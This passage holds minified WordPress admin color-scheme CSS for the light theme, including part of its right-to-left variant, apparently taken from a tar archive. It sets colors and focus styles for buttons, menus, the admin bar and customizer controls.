.button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#333;background-color:#e5e5e5}.wp-core-ui .wp-ui-text-primary{color:#e5e5e5}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#888}.wp-core-ui .wp-ui-text-highlight{color:#888}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d64e07}.wp-core-ui .wp-ui-text-notification{color:#d64e07}.wp-core-ui .wp-ui-text-icon{color:#999}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#e5e5e5}.view-switch a:hover:before{color:#d64e07}#adminmenu,#adminmenuback,#adminmenuwrap{background:#e5e5e5}#adminmenu a{color:#333}#adminmenu div.wp-menu-image:before{color:#999}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#888}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#ccc}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f5f5f5;border-bottom-color:#f5f5f5}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#fff}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#fff}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(104.4,104.4,104.4)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(104.4,104.4,104.4)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#04a4cc}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#333}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#04a4cc}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f5f5f5}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#888}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#ccc}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d64e07}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#333;background:#fff}#collapse-button{color:#777}#collapse-button:focus,#collapse-button:hover{color:#04a4cc}#wpadminbar{color:#333;background:#e5e5e5}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#333}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#999}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#04a4cc;background:#fff}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#04a4cc}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#04a4cc}#wpadminbar .menupop .ab-sub-wrapper{background:#fff}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(246.85,246.85,246.85)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(104.4,104.4,104.4)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#999}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#04a4cc}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#04a4cc}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#999}#wpadminbar #adminbarsearch:before{color:#999}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#333;background:rgb(246.85,246.85,246.85)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d64e07}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(192.6,70.2,6.3)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(246.85,246.85,246.85);background-color:rgb(246.85,246.85,246.85)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#333}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#04a4cc}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(104.4,104.4,104.4)}.wp-pointer .wp-pointer-content h3{background-color:#04a4cc;border-color:rgb(3.5096153846,143.8942307692,178.9903846154)}.wp-pointer .wp-pointer-content h3:before{color:#04a4cc}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#04a4cc}.media-item .bar,.media-progress-bar div{background-color:#04a4cc}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #04a4cc}.attachment.details .check{background-color:#04a4cc;box-shadow:0 0 0 1px #fff,0 0 0 2px #04a4cc}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#04a4cc}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#04a4cc}.theme-filter.current,.theme-section.current{border-bottom-color:#e5e5e5}body.more-filters-opened .more-filters{color:#333;background-color:#e5e5e5}body.more-filters-opened .more-filters:before{color:#333}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#888;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#888;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}div#wp-responsive-toggle a:before{color:#999}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#888}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#fff}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#999}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#04a4cc}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#04a4cc}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#04a4cc}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#04a4cc}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#04a4cc;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#04a4cc}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#04a4cc;border-style:solid;box-shadow:0 0 0 1px #04a4cc;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#04a4cc}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#04a4cc;color:#0073aa}.theme-filter.current,.theme-section.current{border-bottom-color:#04a4cc} css/colors/light/colors-rtl.min.css 0000644 00000051724 15233246127 0013356 0 ustar 00 /*! This file is auto-generated */ body{background:#f5f5f5}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#333;background-color:#e5e5e5}.wp-core-ui .wp-ui-text-primary{color:#e5e5e5}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#888}.wp-core-ui .wp-ui-text-highlight{color:#888}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d64e07}.wp-core-ui .wp-ui-text-notification{color:#d64e07}.wp-core-ui .wp-ui-text-icon{color:#999}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#e5e5e5}.view-switch a:hover:before{color:#d64e07}#adminmenu,#adminmenuback,#adminmenuwrap{background:#e5e5e5}#adminmenu a{color:#333}#adminmenu div.wp-menu-image:before{color:#999}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#888}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#ccc}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f5f5f5;border-bottom-color:#f5f5f5}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#fff}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#fff}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(104.4,104.4,104.4)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(104.4,104.4,104.4)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#04a4cc}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#333}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#04a4cc}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f5f5f5}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#888}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#ccc}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d64e07}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#333;background:#fff}#collapse-button{color:#777}#collapse-button:focus,#collapse-button:hover{color:#04a4cc}#wpadminbar{color:#333;background:#e5e5e5}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#333}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#999}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#04a4cc;background:#fff}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#04a4cc}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#04a4cc}#wpadminbar .menupop .ab-sub-wrapper{background:#fff}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(246.85,246.85,246.85)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(104.4,104.4,104.4)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#999}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li 